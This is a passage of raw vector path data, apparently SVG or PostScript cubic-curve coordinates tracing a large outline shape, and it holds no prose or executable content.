72910.00 16108.00C72920.67 16129.67 72931.33 16151.33 72942.00 16173.00C72963.67 16194.33 72985.33 16215.67 73007.00 16237.00C73017.67 16237.00 73028.33 16237.00 73039.00 16237.00C73049.67 16226.33 73060.33 16215.67 73071.00 16205.00C73124.67 16205.00 73178.33 16205.00 73232.00 16205.00C73232.00 16215.67 73232.00 16226.33 73232.00 16237.00C73253.33 16247.67 73274.67 16258.33 73296.00 16269.00C73285.33 16290.33 73274.67 16311.67 73264.00 16333.00C73285.33 16354.67 73306.67 16376.33 73328.00 16398.00C73328.00 16419.33 73328.00 16440.67 73328.00 16462.00C73306.67 16472.67 73285.33 16483.33 73264.00 16494.00C73274.67 16537.00 73285.33 16580.00 73296.00 16623.00C73285.33 16623.00 73274.67 16623.00 73264.00 16623.00C73274.67 16633.67 73285.33 16644.33 73296.00 16655.00C73285.33 16676.33 73274.67 16697.67 73264.00 16719.00C73253.33 16729.67 73242.67 16740.33 73232.00 16751.00C73232.00 16804.67 73232.00 16858.33 73232.00 16912.00C73253.33 16933.33 73274.67 16954.67 73296.00 16976.00C73285.33 16987.00 73274.67 16998.00 73264.00 17009.00C73274.67 17019.67 73285.33 17030.33 73296.00 17041.00C73296.00 17073.00 73296.00 17105.00 73296.00 17137.00C73274.67 17147.67 73253.33 17158.33 73232.00 17169.00C73221.33 17201.33 73210.67 17233.67 73200.00 17266.00C73210.67 17308.67 73221.33 17351.33 73232.00 17394.00C73242.67 17394.00 73253.33 17394.00 73264.00 17394.00C73264.00 17405.00 73264.00 17416.00 73264.00 17427.00C73274.67 17437.67 73285.33 17448.33 73296.00 17459.00C73285.33 17469.67 73274.67 17480.33 73264.00 17491.00C73285.33 17491.00 73306.67 17491.00 73328.00 17491.00C73317.33 17501.67 73306.67 17512.33 73296.00 17523.00C73285.33 17523.00 73274.67 17523.00 73264.00 17523.00C73253.33 17533.67 73242.67 17544.33 73232.00 17555.00C73242.67 17555.00 73253.33 17555.00 73264.00 17555.00C73264.00 17608.67 73264.00 17662.33 73264.00 17716.00C73253.33 17716.00 73242.67 17716.00 73232.00 17716.00C73221.33 17726.67 73210.67 17737.33 73200.00 17748.00C73210.67 17758.67 73221.33 17769.33 73232.00 17780.00C73221.33 17812.33 73210.67 17844.67 73200.00 17877.00C73200.00 17909.00 73200.00 17941.00 73200.00 17973.00C73178.33 17983.67 73156.67 17994.33 73135.00 18005.00C73146.00 18026.67 73157.00 18048.33 73168.00 18070.00C73157.00 18080.67 73146.00 18091.33 73135.00 18102.00C73156.67 18134.00 73178.33 18166.00 73200.00 18198.00C73189.33 18230.33 73178.67 18262.67 73168.00 18295.00C73178.67 18316.33 73189.33 18337.67 73200.00 18359.00C73232.00 18359.00 73264.00 18359.00 73296.00 18359.00C73317.33 18348.33 73338.67 18337.67 73360.00 18327.00C73392.33 18327.00 73424.67 18327.00 73457.00 18327.00C73467.67 18348.33 73478.33 18369.67 73489.00 18391.00C73499.67 18401.67 73510.33 18412.33 73521.00 18423.00C73542.33 18401.67 73563.67 18380.33 73585.00 18359.00C73574.33 18337.67 73563.67 18316.33 73553.00 18295.00C73563.67 18284.33 73574.33 18273.67 73585.00 18263.00C73585.00 18273.67 73585.00 18284.33 73585.00 18295.00C73606.67 18327.00 73628.33 18359.00 73650.00 18391.00C73639.33 18423.33 73628.67 18455.67 73618.00 18488.00C73618.00 18498.67 73618.00 18509.33 73618.00 18520.00C73607.00 18530.67 73596.00 18541.33 73585.00 18552.00C73585.00 18541.33 73585.00 18530.67 73585.00 18520.00C73563.67 18530.67 73542.33 18541.33 73521.00 18552.00C73510.33 18573.33 73499.67 18594.67 73489.00 18616.00C73499.67 18626.67 73510.33 18637.33 73521.00 18648.00C73510.33 18648.00 73499.67 18648.00 73489.00 18648.00C73478.33 18669.67 73467.67 18691.33 73457.00 18713.00C73467.67 18723.67 73478.33 18734.33 73489.00 18745.00C73478.33 18755.67 73467.67 18766.33 73457.00 18777.00C73457.00 18787.67 73457.00 18798.33 73457.00 18809.00C73489.00 18809.00 73521.00 18809.00 73553.00 18809.00C73563.67 18830.67 73574.33 18852.33 73585.00 18874.00C73585.00 18884.67 73585.00 18895.33 73585.00 18906.00C73596.00 18895.33 73607.00 18884.67 73618.00 18874.00C73650.00 18884.67 73682.00 18895.33 73714.00 18906.00C73740.27 18932.44 73766.86 18958.57 73793.43 18984.70C73799.29 18990.47 73805.14 18996.24 73811.00 19002.00C73821.67 18991.33 73832.33 18980.67 73843.00 18970.00C73875.00 18970.00 73907.00 18970.00 73939.00 18970.00C73949.67 18959.33 73960.33 18948.67 73971.00 18938.00C73992.67 18927.33 74014.33 18916.67 74036.00 18906.00C74057.33 18927.33 74078.67 18948.67 74100.00 18970.00C74110.67 18959.33 74121.33 18948.67 74132.00 18938.00C74132.00 18948.67 74132.00 18959.33 74132.00 18970.00C74142.67 18970.00 74153.33 18970.00 74164.00 18970.00C74174.67 18980.67 74185.33 18991.33 74196.00 19002.00C74196.00 19012.67 74196.00 19023.33 74196.00 19034.00C74207.00 19044.67 74218.00 19055.33 74229.00 19066.00C74229.00 19087.67 74229.00 19109.33 74229.00 19131.00C74250.33 19152.33 74271.67 19173.67 74293.00 19195.00C74293.00 19216.33 74293.00 19237.67 74293.00 19259.00C74303.67 19259.00 74314.33 19259.00 74325.00 19259.00C74325.00 19248.33 74325.00 19237.67 74325.00 19227.00C74335.67 19216.33 74346.33 19205.67 74357.00 19195.00C74367.67 19205.67 74378.33 19216.33 74389.00 19227.00C74389.00 19280.67 74389.00 19334.33 74389.00 19388.00C74399.67 19409.33 74410.33 19430.67 74421.00 19452.00C74453.33 19462.67 74485.67 19473.33 74518.00 19484.00C74550.00 19484.00 74582.00 19484.00 74614.00 19484.00C74625.00 19527.00 74636.00 19570.00 74647.00 19613.00C74668.33 19623.67 74689.67 19634.33 74711.00 19645.00C74700.33 19677.33 74689.67 19709.67 74679.00 19742.00C74689.67 19763.33 74700.33 19784.67 74711.00 19806.00C74732.33 19806.00 74753.67 19806.00 74775.00 19806.00C74796.67 19795.33 74818.33 19784.67 74840.00 19774.00C74840.00 19806.00 74840.00 19838.00 74840.00 19870.00C74861.33 19891.67 74882.67 19913.33 74904.00 19935.00C74904.00 19945.67 74904.00 19956.33 74904.00 19967.00C74914.67 19967.00 74925.33 19967.00 74936.00 19967.00C74925.33 19988.33 74914.67 20009.67 74904.00 20031.00C74936.00 20031.00 74968.00 20031.00 75000.00 20031.00C75000.00 20041.67 75000.00 20052.33 75000.00 20063.00C75010.67 20052.33 75021.33 20041.67 75032.00 20031.00C75032.00 20009.67 75032.00 19988.33 75032.00 19967.00C75064.33 19967.00 75096.67 19967.00 75129.00 19967.00C75139.67 19977.67 75150.33 19988.33 75161.00 19999.00C75161.05 20009.76 75160.90 20020.55 75161.07 20031.30C75171.72 20074.20 75182.36 20117.10 75193.00 20160.00C75182.33 20170.67 75171.67 20181.33 75161.00 20192.00C75161.00 20213.33 75161.00 20234.67 75161.00 20256.00C75182.33 20256.00 75203.67 20256.00 75225.00 20256.00C75235.67 20245.33 75246.33 20234.67 75257.00 20224.00C75268.00 20224.00 75279.00 20224.00 75290.00 20224.00C75322.00 20256.00 75354.00 20288.00 75386.00 20320.00C75375.33 20331.00 75364.67 20342.00 75354.00 20353.00C75364.67 20363.67 75375.33 20374.33 75386.00 20385.00C75396.67 20417.00 75407.33 20449.00 75418.00 20481.00C75407.33 20491.67 75396.67 20502.33 75386.00 20513.00C75396.67 20513.00 75407.33 20513.00 75418.00 20513.00C75450.33 20545.33 75482.67 20577.67 75515.00 20610.00C75547.00 20610.00 75579.00 20610.00 75611.00 20610.00C75621.67 20631.33 75632.33 20652.67 75643.00 20674.00C75675.33 20684.67 75707.67 20695.33 75740.00 20706.00C75740.00 20695.33 75740.00 20684.67 75740.00 20674.00C75772.00 20674.00 75804.00 20674.00 75836.00 20674.00C75858.45 20696.17 75881.04 20718.20 75903.39 20740.47C75913.26 20750.65 75923.13 20760.82 75933.00 20771.00C75943.67 20771.00 75954.33 20771.00 75965.00 20771.00C75975.67 20781.67 75986.33 20792.33 75997.00 20803.00C76029.00 20803.00 76061.00 20803.00 76093.00 20803.00C76114.67 20813.67 76136.33 20824.33 76158.00 20835.00C76179.33 20824.33 76200.67 20813.67 76222.00 20803.00C76232.67 20813.67 76243.33 20824.33 76254.00 20835.00C76264.67 20824.33 76275.33 20813.67 76286.00 20803.00C76297.00 20824.33 76308.00 20845.67 76319.00 20867.00C76329.67 20877.67 76340.33 20888.33 76351.00 20899.00C76361.67 20899.00 76372.33 20899.00 76383.00 20899.00C76393.67 20888.33 76404.33 20877.67 76415.00 20867.00C76425.67 20867.00 76436.33 20867.00 76447.00 20867.00C76457.67 20888.33 76468.33 20909.67 76479.00 20931.00C76522.00 20920.33 76565.00 20909.67 76608.00 20899.00C76629.33 20909.67 76650.67 20920.33 76672.00 20931.00C76693.67 20931.00 76715.33 20931.00 76737.00 20931.00C76737.00 20920.33 76737.00 20909.67 76737.00 20899.00C76747.67 20909.67 76758.33 20920.33 76769.00 20931.00C76779.67 20952.67 76790.33 20974.33 76801.00 20996.00C76811.67 21006.67 76822.33 21017.33 76833.00 21028.00C76843.67 21017.33 76854.33 21006.67 76865.00 20996.00C76875.87 20995.94 76886.76 20996.12 76897.62 20995.91C76972.41 20984.94 77047.21 20973.97 77122.00 20963.00C77122.00 20984.67 77122.00 21006.33 77122.00 21028.00C77111.33 21038.67 77100.67 21049.33 77090.00 21060.00C77090.00 21070.67 77090.00 21081.33 77090.00 21092.00C77100.67 21102.67 77111.33 21113.33 77122.00 21124.00C77143.67 21134.67 77165.33 21145.33 77187.00 21156.00C77208.33 21188.33 77229.67 21220.67 77251.00 21253.00C77229.67 21263.67 77208.33 21274.33 77187.00 21285.00C77187.00 21295.67 77187.00 21306.33 77187.00 21317.00C77176.33 21327.67 77165.67 21338.33 77155.00 21349.00C77176.33 21359.67 77197.67 21370.33 77219.00 21381.00C77219.00 22956.67 77219.00 24532.33 77219.00 26108.00C75418.33 26108.00 73617.67 26108.00 71817.00 26108.00C71795.67 26161.67 71774.33 26215.33 71753.00 26269.00C71742.33 26376.00 71731.67 26483.00 71721.00 26590.00C71699.33 26611.67 71677.67 26633.33 71656.00 26655.00C71634.37 26665.76 71612.82 26676.71 71591.13 26687.35C71537.75 26708.56 71484.38 26729.78 71431.00 26751.00C71431.00 26761.67 71431.00 26772.33 71431.00 26783.00C71399.00 26815.33 71367.00 26847.67 71335.00 26880.00C71335.00 26901.33 71335.00 26922.67 71335.00 26944.00C71356.33 26965.33 71377.67 26986.67 71399.00 27008.00C71377.67 27029.67 71356.33 27051.33 71335.00 27073.00C71335.00 27105.00 71335.00 27137.00 71335.00 27169.00C71324.33 27179.67 71313.67 27190.33 71303.00 27201.00C71313.67 27222.67 71324.33 27244.33 71335.00 27266.00C71302.67 27276.67 71270.33 27287.33 71238.00 27298.00C71216.67 27330.00 71195.33 27362.00 71174.00 27394.00C71152.67 27394.00 71131.33 27394.00 71110.00 27394.00C71120.67 27404.67 71131.33 27415.33 71142.00 27426.00C71099.00 27469.00 71056.00 27512.00 71013.00 27555.00C71013.00 27597.67 71013.00 27640.33 71013.00 27683.00C70980.78 27747.92 70948.65 27812.89 70916.17 27877.68C70905.78 27898.79 70895.39 27919.89 70885.00 27941.00C70895.67 27951.67 70906.33 27962.33 70917.00 27973.00C70917.00 27983.67 70917.00 27994.33 70917.00 28005.00C70927.67 28015.67 70938.33 28026.33 70949.00 28037.00C70938.33 28058.33 70927.67 28079.67 70917.00 28101.00C70906.33 28101.00 70895.67 28101.00 70885.00 28101.00C70852.67 28133.33 70820.33 28165.67 70788.00 28198.00C70798.67 28219.33 70809.33 28240.67 70820.00 28262.00C70798.67 28251.33 70777.33 28240.67 70756.00 28230.00C70745.33 28240.67 70734.67 28251.33 70724.00 28262.00C70724.00 28283.67 70724.00 28305.33 70724.00 28327.00C70713.33 28348.33 70702.67 28369.67 70692.00 28391.00C70670.33 28401.67 70648.67 28412.33 70627.00 28423.00C70616.33 28412.33 70605.67 28401.67 70595.00 28391.00C70584.33 28401.67 70573.67 28412.33 70563.00 28423.00C70573.67 28455.00 70584.33 28487.00 70595.00 28519.00C70584.33 28562.00 70573.67 28605.00 70563.00 28648.00C70552.33 28658.67 70541.67 28669.33 70531.00 28680.00C70563.00 28723.00 70595.00 28766.00 70627.00 28809.00C70605.67 28830.33 70584.33 28851.67 70563.00 28873.00C70563.00 28916.00 70563.00 28959.00 70563.00 29002.00C70531.00 29002.00 70499.00 29002.00 70467.00 29002.00C70467.07 29012.76 70466.87 29023.56 70467.10 29034.30C70477.73 29066.20 70488.37 29098.10 70499.00 29130.00C70488.33 29151.67 70477.67 29173.33 70467.00 29195.00C70467.00 29205.67 70467.00 29216.33 70467.00 29227.00C70445.33 29237.67 70423.67 29248.33 70402.00 29259.00C70391.33 29291.00 70380.67 29323.00 70370.00 29355.00C70359.33 29366.00 70348.67 29377.00 70338.00 29388.00C70348.67 29398.67 70359.33 29409.33 70370.00 29420.00C70359.33 29430.67 70348.67 29441.33 70338.00 29452.00C70348.67 29462.67 70359.33 29473.33 70370.00 29484.00C70370.00 29505.33 70370.00 29526.67 70370.00 29548.00C70305.67 29591.00 70241.33 29634.00 70177.00 29677.00C70177.00 29698.33 70177.00 29719.67 70177.00 29741.00C70166.33 29762.67 70155.67 29784.33 70145.00 29806.00C70145.00 29816.67 70145.00 29827.33 70145.00 29838.00C70123.67 29848.67 70102.33 29859.33 70081.00 29870.00C70091.67 29934.33 70102.33 29998.67 70113.00 30063.00C70113.00 30073.67 70113.00 30084.33 70113.00 30095.00C70134.33 30105.67 70155.67 30116.33 70177.00 30127.00C70177.00 30148.33 70177.00 30169.67 70177.00 30191.00C70166.33 30202.00 70155.67 30213.00 70145.00 30224.00C70155.67 30245.33 70166.33 30266.67 70177.00 30288.00C70198.67 30277.33 70220.33 30266.67 70242.00 30256.00C70242.00 30277.33 70242.00 30298.67 70242.00 30320.00C70263.33 30330.67 70284.67 30341.33 70306.00 30352.00C70316.67 30373.67 70327.33 30395.33 70338.00 30417.00C70364.27 30443.44 70390.86 30469.57 70417.43 30495.70C70423.29 30501.47 70429.14 30507.24 70435.00 30513.00C70456.33 30513.00 70477.67 30513.00 70499.00 30513.00C70499.00 30545.00 70499.00 30577.00 70499.00 30609.00C70520.33 30630.67 70541.67 30652.33 70563.00 30674.00C70552.33 30706.00 70541.67 30738.00 70531.00 30770.00C70541.67 30770.00 70552.33 30770.00 70563.00 30770.00C70563.00 30802.33 70563.00 30834.67 70563.00 30867.00C70552.33 30888.33 70541.67 30909.67 70531.00 30931.00C70520.33 30931.00 70509.67 30931.00 70499.00 30931.00C70456.00 30952.33 70413.00 30973.67 70370.00 30995.00C70359.33 31005.67 70348.67 31016.33 70338.00 31027.00C70295.00 31027.00 70252.00 31027.00 70209.00 31027.00C70198.33 31048.67 70187.67 31070.33 70177.00 31092.00C70145.00 31092.00 70113.00 31092.00 70081.00 31092.00C70059.33 31102.67 70037.67 31113.33 70016.00 31124.00C69994.67 31145.33 69973.33 31166.67 69952.00 31188.00C69941.33 31177.33 69930.67 31166.67 69920.00 31156.00C69855.67 31156.00 69791.33 31156.00 69727.00 31156.00C69704.24 31178.85 69681.30 31201.53 69658.65 31224.49C69649.43 31233.99 69640.22 31243.50 69631.00 31253.00C69641.67 31263.67 69652.33 31274.33 69663.00 31285.00C69652.33 31295.67 69641.67 31306.33 69631.00 31317.00C69641.67 31327.67 69652.33 31338.33 69663.00 31349.00C69652.33 31370.33 69641.67 31391.67 69631.00 31413.00C69620.33 31413.00 69609.67 31413.00 69599.00 31413.00C69577.33 31434.67 69555.67 31456.33 69534.00 31478.00C69555.67 31488.67 69577.33 31499.33 69599.00 31510.00C69599.00 31520.67 69599.00 31531.33 69599.00 31542.00C69556.00 31584.67 69513.00 31627.33 69470.00 31670.00C69459.33 31670.00 69448.67 31670.00 69438.00 31670.00C69427.33 31659.33 69416.67 31648.67 69406.00 31638.00C69384.33 31638.00 69362.67 31638.00 69341.00 31638.00C69341.00 31627.33 69341.00 31616.67 69341.00 31606.00C69287.67 31584.67 69234.33 31563.33 69181.00 31542.00C69181.00 31574.00 69181.00 31606.00 69181.00 31638.00C69148.67 31627.33 69116.33 31616.67 69084.00 31606.00C69073.33 31606.00 69062.67 31606.00 69052.00 31606.00C69041.33 31616.67 69030.67 31627.33 69020.00 31638.00C69009.33 31638.00 68998.67 31638.00 68988.00 31638.00C68988.00 31648.67 68988.00 31659.33 68988.00 31670.00C68955.67 31681.00 68923.33 31692.00 68891.00 31703.00C68869.67 31724.33 68848.33 31745.67 68827.00 31767.00C68816.33 31756.33 68805.67 31745.67 68795.00 31735.00C68805.67 31713.33 68816.33 31691.67 68827.00 31670.00C68816.24 31669.92 68805.43 31670.15 68794.71 31669.88C68741.14 31648.59 68687.57 31627.29 68634.00 31606.00C68623.33 31616.67 68612.67 31627.33 68602.00 31638.00C68569.67 31616.67 68537.33 31595.33 68505.00 31574.00C68473.00 31584.67 68441.00 31595.33 68409.00 31606.00C68419.67 31584.67 68430.33 31563.33 68441.00 31542.00C68430.33 31531.33 68419.67 31520.67 68409.00 31510.00C68398.33 31488.33 68387.67 31466.67 68377.00 31445.00C68387.67 31423.67 68398.33 31402.33 68409.00 31381.00C68398.33 31370.33 68387.67 31359.67 68377.00 31349.00C68387.67 31327.67 68398.33 31306.33 68409.00 31285.00C68376.67 31274.33 68344.33 31263.67 68312.00 31253.00C68312.00 31242.00 68312.00 31231.00 68312.00 31220.00C68323.00 31209.33 68334.00 31198.67 68345.00 31188.00C68355.67 31166.67 68366.33 31145.33 68377.00 31124.00C68366.33 31102.67 68355.67 31081.33 68345.00 31060.00C68334.00 31070.67 68323.00 31081.33 68312.00 31092.00C68294.62 31074.64 68277.18 31057.34 68260.20 31039.58C68256.13 31035.39 68252.07 31031.19 68248.00 31027.00C68237.33 31027.00 68226.67 31027.00 68216.00 31027.00C68216.00 30952.00 68216.00 30877.00 68216.00 30802.00C68194.67 30791.33 68173.33 30780.67 68152.00 30770.00C68098.33 30770.00 68044.67 30770.00 67991.00 30770.00C67980.33 30738.00 67969.67 30706.00 67959.00 30674.00C67959.00 30641.67 67959.00 30609.33 67959.00 30577.00C67941.64 30559.62 67924.34 30542.18 67906.58 30525.20C67902.39 30521.13 67898.19 30517.07 67894.00 30513.00C67862.00 30534.33 67830.00 30555.67 67798.00 30577.00C67755.00 30534.33 67712.00 30491.67 67669.00 30449.00C67669.00 30427.33 67669.00 30405.67 67669.00 30384.00C67658.33 30384.00 67647.67 30384.00 67637.00 30384.00C67637.00 30341.33 67637.00 30298.67 67637.00 30256.00C67647.67 30245.33 67658.33 30234.67 67669.00 30224.00C67658.33 30181.00 67647.67 30138.00 67637.00 30095.00C67615.67 30095.00 67594.33 30095.00 67573.00 30095.00C67562.33 30105.67 67551.67 30116.33 67541.00 30127.00C67530.33 30127.00 67519.67 30127.00 67509.00 30127.00C67498.00 30116.33 67487.00 30105.67 67476.00 30095.00C67465.33 30105.67 67454.67 30116.33 67444.00 30127.00C67379.67 30127.00 67315.33 30127.00 67251.00 30127.00C67208.33 30105.67 67165.67 30084.33 67123.00 30063.00C67090.67 30063.00 67058.33 30063.00 67026.00 30063.00C67015.33 30052.33 67004.67 30041.67 66994.00 30031.00C66983.33 29988.00 66972.67 29945.00 66962.00 29902.00C66919.00 29880.67 66876.00 29859.33 66833.00 29838.00C66822.24 29838.07 66811.44 29837.87 66800.70 29838.10C66768.80 29848.73 66736.90 29859.37 66705.00 29870.00C66687.64 29852.62 66670.34 29835.18 66652.58 29818.20C66648.39 29814.13 66644.19 29810.07 66640.00 29806.00C66608.00 29816.67 66576.00 29827.33 66544.00 29838.00C66533.33 29848.67 66522.67 29859.33 66512.00 29870.00C66512.00 29880.67 66512.00 29891.33 66512.00 29902.00C66479.67 29891.33 66447.33 29880.67 66415.00 29870.00C66383.00 29870.00 66351.00 29870.00 66319.00 29870.00C66297.67 29859.33 66276.33 29848.67 66255.00 29838.00C66244.00 29838.00 66233.00 29838.00 66222.00 29838.00C66211.33 29848.67 66200.67 29859.33 66190.00 29870.00C66190.00 29891.33 66190.00 29912.67 66190.00 29934.00C66200.67 29955.67 66211.33 29977.33 66222.00 29999.00C66211.33 30009.67 66200.67 30020.33 66190.00 30031.00C66190.00 30063.00 66190.00 30095.00 66190.00 30127.00C66179.33 30137.67 66168.67 30148.33 66158.00 30159.00C66082.90 30169.65 66007.80 30180.42 65932.69 30191.00C65900.79 30191.00 65868.90 30191.00 65837.00 30191.00C65794.00 30234.00 65751.00 30277.00 65708.00 30320.00C65676.00 30309.33 65644.00 30298.67 65612.00 30288.00C65590.33 30298.67 65568.67 30309.33 65547.00 30320.00C65536.22 30330.69 65525.60 30341.59 65514.72 30352.14C65471.81 30373.76 65428.91 30395.38 65386.00 30417.00C65364.67 30438.33 65343.33 30459.67 65322.00 30481.00C65290.00 30481.00 65258.00 30481.00 65226.00 30481.00C65226.00 30513.00 65226.00 30545.00 65226.00 30577.00C65215.00 30587.67 65204.00 30598.33 65193.00 30609.00C65161.00 30609.00 65129.00 30609.00 65097.00 30609.00C65086.29 30620.10 65075.46 30631.10 65064.83 30642.26C65043.55 30674.17 65022.28 30706.09 65001.00 30738.00C65001.00 30770.00 65001.00 30802.00 65001.00 30834.00C64990.00 30855.67 64979.00 30877.33 64968.00 30899.00C64914.57 30941.72 64861.19 30984.49 64807.74 31027.17C64775.49 31048.78 64743.25 31070.39 64711.00 31092.00C64689.67 31145.67 64668.33 31199.33 64647.00 31253.00C64647.00 31328.00 64647.00 31403.00 64647.00 31478.00C64657.67 31488.67 64668.33 31499.33 64679.00 31510.00C64679.00 31520.67 64679.00 31531.33 64679.00 31542.00C64657.67 31563.33 64636.33 31584.67 64615.00 31606.00C64615.00 31659.67 64615.00 31713.33 64615.00 31767.00C64582.67 31788.33 64550.33 31809.67 64518.00 31831.00C64518.00 31863.33 64518.00 31895.67 64518.00 31928.00C64507.33 31938.67 64496.67 31949.33 64486.00 31960.00C64496.67 31992.00 64507.33 32024.00 64518.00 32056.00C64507.33 32099.00 64496.67 32142.00 64486.00 32185.00C64496.67 32195.67 64507.33 32206.33 64518.00 32217.00C64539.67 32217.00 64561.33 32217.00 64583.00 32217.00C64583.00 32249.33 64583.00 32281.67 64583.00 32314.00C64604.33 32335.33 64625.67 32356.67 64647.00 32378.00C64657.67 32399.33 64668.33 32420.67 64679.00 32442.00C64679.00 32485.00 64679.00 32528.00 64679.00 32571.00C64668.33 32592.33 64657.67 32613.67 64647.00 32635.00C64614.67 32635.00 64582.33 32635.00 64550.00 32635.00C64539.33 32645.67 64528.67 32656.33 64518.00 32667.00C64518.00 32677.67 64518.00 32688.33 64518.00 32699.00C64539.67 32720.67 64561.33 32742.33 64583.00 32764.00C64561.33 32774.67 64539.67 32785.33 64518.00 32796.00C64518.00 32806.67 64518.00 32817.33 64518.00 32828.00C64528.69 32838.78 64539.59 32849.40 64550.14 32860.28C64561.09 32881.85 64572.05 32903.43 64583.00 32925.00C64572.00 32935.67 64561.00 32946.33 64550.00 32957.00C64528.67 32999.67 64507.33 33042.33 64486.00 33085.00C64496.67 33117.33 64507.33 33149.67 64518.00 33182.00C64496.67 33203.33 64475.33 33224.67 64454.00 33246.00C64443.25 33289.19 64432.63 33332.42 64421.80 33375.59C64411.19 33407.50 64400.49 33439.38 64389.94 33471.31C64378.96 33524.87 64367.98 33578.43 64357.00 33632.00C64335.67 33653.33 64314.33 33674.67 64293.00 33696.00C64282.33 33717.33 64271.67 33738.67 64261.00 33760.00C64293.00 33771.00 64325.00 33782.00 64357.00 33793.00C64400.00 33835.67 64443.00 33878.33 64486.00 33921.00C64486.00 33942.67 64486.00 33964.33 64486.00 33986.00C64475.33 34007.33 64464.67 34028.67 64454.00 34050.00C64443.23 34060.85 64432.28 34071.55 64421.62 34082.50C64389.42 34125.33 64357.21 34168.17 64325.00 34211.00C64325.00 34221.67 64325.00 34232.33 64325.00 34243.00C64335.76 34243.05 64346.55 34242.90 64357.30 34243.07C64400.20 34253.72 64443.10 34264.36 64486.00 34275.00C64496.67 34307.00 64507.33 34339.00 64518.00 34371.00C64561.00 34371.00 64604.00 34371.00 64647.00 34371.00C64668.33 34381.67 64689.67 34392.33 64711.00 34403.00C64711.00 34446.00 64711.00 34489.00 64711.00 34532.00C64743.33 34596.33 64775.67 34660.67 64808.00 34725.00C64861.33 34746.33 64914.67 34767.67 64968.00 34789.00C64979.00 34810.67 64990.00 34832.33 65001.00 34854.00C65011.67 34864.67 65022.33 34875.33 65033.00 34886.00C65033.00 34907.33 65033.00 34928.67 65033.00 34950.00C65022.33 34960.67 65011.67 34971.33 65001.00 34982.00C65001.00 35025.00 65001.00 35068.00 65001.00 35111.00C64990.00 35111.00 64979.00 35111.00 64968.00 35111.00C64956.92 35100.01 64946.02 35088.83 64934.82 35077.97C64849.55 35003.31 64764.28 34928.66 64679.00 34854.00C64657.67 34800.33 64636.33 34746.67 64615.00 34693.00C64593.33 34660.67 64571.67 34628.33 64550.00 34596.00C64496.67 34553.33 64443.33 34510.67 64390.00 34468.00C64336.13 34446.28 64282.30 34424.46 64228.41 34402.80C64109.88 34363.80 63991.52 34324.28 63873.08 34284.99C63863.05 34281.66 63853.03 34278.33 63843.00 34275.00C63811.00 34242.67 63779.00 34210.33 63747.00 34178.00C63703.81 34167.25 63660.58 34156.63 63617.41 34145.80C63585.27 34135.20 63553.14 34124.60 63521.00 34114.00C63499.67 34124.67 63478.33 34135.33 63457.00 34146.00C63435.67 34167.67 63414.33 34189.33 63393.00 34211.00C63371.67 34221.67 63350.33 34232.33 63329.00 34243.00C63264.67 34243.00 63200.33 34243.00 63136.00 34243.00C63093.00 34232.33 63050.00 34221.67 63007.00 34211.00C62996.28 34178.36 62985.38 34145.76 62974.77 34113.09C62964.18 34070.73 62953.59 34028.36 62943.00 33986.00C62921.52 33953.51 62900.17 33920.94 62878.61 33888.51C62835.74 33835.01 62792.87 33781.50 62750.00 33728.00C62739.29 33674.24 62728.68 33620.45 62717.90 33566.70C62707.27 33534.80 62696.63 33502.90 62686.00 33471.00C62643.00 33428.00 62600.00 33385.00 62557.00 33342.00C62557.00 33310.00 62557.00 33278.00 62557.00 33246.00C62524.56 33170.82 62492.21 33095.60 62459.72 33020.44C62449.15 32999.29 62438.57 32978.15 62428.00 32957.00C62394.36 32923.07 62360.84 32889.01 62327.11 32855.16C62296.41 32824.78 62265.70 32794.39 62235.00 32764.00C62192.33 32764.00 62149.67 32764.00 62107.00 32764.00C62085.67 32753.33 62064.33 32742.67 62043.00 32732.00C62010.67 32699.67 61978.33 32667.33 61946.00 32635.00C61956.67 32613.67 61967.33 32592.33 61978.00 32571.00C61956.67 32528.00 61935.33 32485.00 61914.00 32442.00C61892.67 32442.00 61871.33 32442.00 61850.00 32442.00C61839.00 32431.33 61828.00 32420.67 61817.00 32410.00C61806.33 32410.00 61795.67 32410.00 61785.00 32410.00C61753.00 32378.00 61721.00 32346.00 61689.00 32314.00C61646.00 32303.00 61603.00 32292.00 61560.00 32281.00C61560.00 32249.00 61560.00 32217.00 61560.00 32185.00C61538.67 32185.00 61517.33 32185.00 61496.00 32185.00C61474.67 32174.33 61453.33 32163.67 61432.00 32153.00C61389.00 32153.00 61346.00 32153.00 61303.00 32153.00C61281.67 32120.67 61260.33 32088.33 61239.00 32056.00C61217.33 32034.67 61195.67 32013.33 61174.00 31992.00C61152.67 32002.67 61131.33 32013.33 61110.00 32024.00C61110.00 32013.33 61110.00 32002.67 61110.00 31992.00C61088.67 31970.67 61067.33 31949.33 61046.00 31928.00C61035.33 31906.33 61024.67 31884.67 61014.00 31863.00C60992.33 31863.00 60970.67 31863.00 60949.00 31863.00C60938.26 31841.59 60927.64 31820.11 60916.81 31798.75C60884.88 31755.83 60852.94 31712.92 60821.00 31670.00C60810.00 31670.00 60799.00 31670.00 60788.00 31670.00C60788.00 31659.33 60788.00 31648.67 60788.00 31638.00C60766.67 31627.33 60745.33 31616.67 60724.00 31606.00C60734.67 31595.33 60745.33 31584.67 60756.00 31574.00C60756.00 31563.33 60756.00 31552.67 60756.00 31542.00C60745.33 31531.33 60734.67 31520.67 60724.00 31510.00C60724.00 31499.33 60724.00 31488.67 60724.00 31478.00C60702.67 31467.00 60681.33 31456.00 60660.00 31445.00C60649.33 31423.67 60638.67 31402.33 60628.00 31381.00C60585.00 31370.33 60542.00 31359.67 60499.00 31349.00C60488.33 31338.33 60477.67 31327.67 60467.00 31317.00C60445.67 31317.00 60424.33 31317.00 60403.00 31317.00C60403.00 31327.67 60403.00 31338.33 60403.00 31349.00C60392.33 31338.33 60381.67 31327.67 60371.00 31317.00C60360.00 31317.00 60349.00 31317.00 60338.00 31317.00C60327.33 31295.67 60316.67 31274.33 60306.00 31253.00C60284.67 31263.67 60263.33 31274.33 60242.00 31285.00C60209.67 31263.33 60177.33 31241.67 60145.00 31220.00C60134.33 31188.00 60123.67 31156.00 60113.00 31124.00C60113.00 31113.33 60113.00 31102.67 60113.00 31092.00C60134.67 31081.33 60156.33 31070.67 60178.00 31060.00C60167.00 31027.67 60156.00 30995.33 60145.00 30963.00C60134.33 30963.00 60123.67 30963.00 60113.00 30963.00C60113.00 30931.00 60113.00 30899.00 60113.00 30867.00C60134.67 30856.00 60156.33 30845.00 60178.00 30834.00C60178.00 30802.00 60178.00 30770.00 60178.00 30738.00C60188.67 30727.33 60199.33 30716.67 60210.00 30706.00C60242.00 30727.33 60274.00 30748.67 60306.00 30770.00C60306.00 30759.33 60306.00 30748.67 60306.00 30738.00C60327.67 30748.67 60349.33 30759.33 60371.00 30770.00C60413.67 30770.00 60456.33 30770.00 